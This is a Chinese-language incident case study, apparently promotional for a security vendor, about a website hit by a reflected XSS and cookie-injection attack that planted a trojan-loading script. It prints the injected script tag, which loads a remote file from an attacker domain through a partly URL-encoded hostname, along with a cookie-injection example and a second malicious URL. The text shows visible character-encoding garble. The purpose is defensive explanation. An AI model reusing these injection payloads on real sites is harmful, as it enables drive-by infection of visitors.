近日,一款利用IE7漏洞進(jìn)行傳播的腳本木馬在網(wǎng)上迅速傳播,該木馬利用搜索引擎檢索站點(diǎn)漏洞,并進(jìn)行自動(dòng)傳播。幾天內(nèi),數(shù)萬(wàn)站點(diǎn)遭受感染,其中hongxiu.com、msn中國(guó)、東方財(cái)經(jīng)網(wǎng)等都被入侵。
發(fā)現(xiàn)惡意軟件
某日早上,某網(wǎng)站維護(hù)人員小任像往常一樣打開(kāi)了網(wǎng)站首頁(yè),隨手點(diǎn)擊了一個(gè)鏈接,想驗(yàn)證一下網(wǎng)站是否可以正常訪問(wèn),沒(méi)想到居然觸發(fā)了防病毒的軟件的報(bào)警:“發(fā)現(xiàn)惡意軟件”。心細(xì)的小任在一查之下大吃了一驚:首頁(yè)的幾乎所有鏈接都被加上了一個(gè)奇怪的網(wǎng)址“hxxp://c.nuclear3.com/css/c.js”,而這個(gè)js腳本,就是觸發(fā)防病毒軟件報(bào)警的元兇。
無(wú)奈之下,小任想到了自己?jiǎn)挝坏木W(wǎng)絡(luò)安全設(shè)備提供商啟明星辰公司,并立刻聯(lián)系上該公司駐當(dāng)?shù)厝藛T,同時(shí)一并提供的還有網(wǎng)站的日志文件。
攻擊者的手法
很快,小任就得到了啟明星辰工程師的反饋信息,在網(wǎng)站的/down.asp頁(yè)面下,存在一個(gè)反射式的XSS漏洞,駭客就是利用這個(gè)漏洞,通過(guò)cookie 注入的方式,將惡意腳本
{Script Src=http://c.nu%63%6Cear3.com/css/c.js}{/script} |
注入到每一個(gè)網(wǎng)站鏈接中,以達(dá)到危害用戶的目的。
小知識(shí):什么叫反射式XSS
Web客戶端使用Server端腳本生成頁(yè)面為用戶提供數(shù)據(jù)時(shí),如果未經(jīng)驗(yàn)證的用戶數(shù)據(jù)被包含在頁(yè)面中而未經(jīng)HTML實(shí)體編碼,客戶端代碼便能夠注入到動(dòng)態(tài)頁(yè)面中。
在這個(gè)例子里,駭客將惡意腳本嵌入U(xiǎn)RL,網(wǎng)站訪問(wèn)者一旦點(diǎn)擊這個(gè)鏈接,瀏覽器將認(rèn)為惡意代碼是來(lái)自網(wǎng)站,從而“放心”的執(zhí)行。
小知識(shí):cookie注入
Cookie注入是SQL注入攻擊的一種表現(xiàn)形式,是系統(tǒng)直接使用"request("name")"獲取客戶提交的數(shù)據(jù),并對(duì)客戶提交的變量沒(méi)有過(guò)濾,而且在防注入程序中沒(méi)有限制Request.cookie所導(dǎo)致的。
一個(gè)典型的例子就是
javascript:alert(document.cookie="id="+escape(XX and "attack string") |
斬?cái)嘧⑷牒谑?/STRONG>
了解了問(wèn)題的根源,剩下的就是防御問(wèn)題了。在啟明星辰工程師的協(xié)助下,通過(guò)安星遠(yuǎn)程網(wǎng)站安全檢查服務(wù),小任挨個(gè)清除了頁(yè)面上所掛木馬,同時(shí)還發(fā)現(xiàn)網(wǎng)站存在數(shù)個(gè)SQL注入和XSS漏洞,而原有的網(wǎng)站安全檢查代碼由于無(wú)法進(jìn)行語(yǔ)義一級(jí)的還原①,無(wú)法徹底杜絕這兩類攻擊,只有通過(guò)部署相應(yīng)安全產(chǎn)品解決。在對(duì)比了數(shù)家國(guó)內(nèi)外的Web安全防御產(chǎn)品后,該網(wǎng)站最終選擇了天清入侵防御產(chǎn)品,其采用攻擊機(jī)理分析方式對(duì)Web威脅如SQL注入、XSS攻擊等進(jìn)行精確阻斷。與傳統(tǒng)的基于數(shù)據(jù)特征匹配和基于異常模型構(gòu)建的Web安全相比,有著更低的漏報(bào)率和誤報(bào)率。天清入侵防御產(chǎn)品上線后,當(dāng)小任嘗試用此前注入漏洞再次進(jìn)行攻擊時(shí),發(fā)現(xiàn)在產(chǎn)品事件監(jiān)視臺(tái)上已經(jīng)及時(shí)出現(xiàn)了報(bào)警信息并予以了阻斷。再次采用安星檢查服務(wù)后發(fā)現(xiàn),已經(jīng)無(wú)法嗅探出任何漏洞。
注①:繼續(xù)拿/css/c.js木馬舉例,該木馬的注入代碼是hxxp://c.nuclear3.com/css/c.js,但這個(gè).js腳本并不是真正的攻擊代碼,而只是一段代碼:
|
這個(gè)腳本文件會(huì)在一個(gè)隱藏的框體中引用有害的鏈接:'hxxp://fvgit.cn/01/index.htm,真正的攻擊代碼存在于這個(gè)鏈接處,這段攻擊代碼異常簡(jiǎn)單,擯棄了頭標(biāo)簽體標(biāo)簽,直接就是攻擊代碼,且采用了替換躲避手法
|
這種替換躲避手法需要使用到語(yǔ)義還原,如果僅檢查關(guān)鍵字,是無(wú)法發(fā)現(xiàn)和抵御此類攻擊的。
注:代碼中所有的{ }實(shí)為〈 〉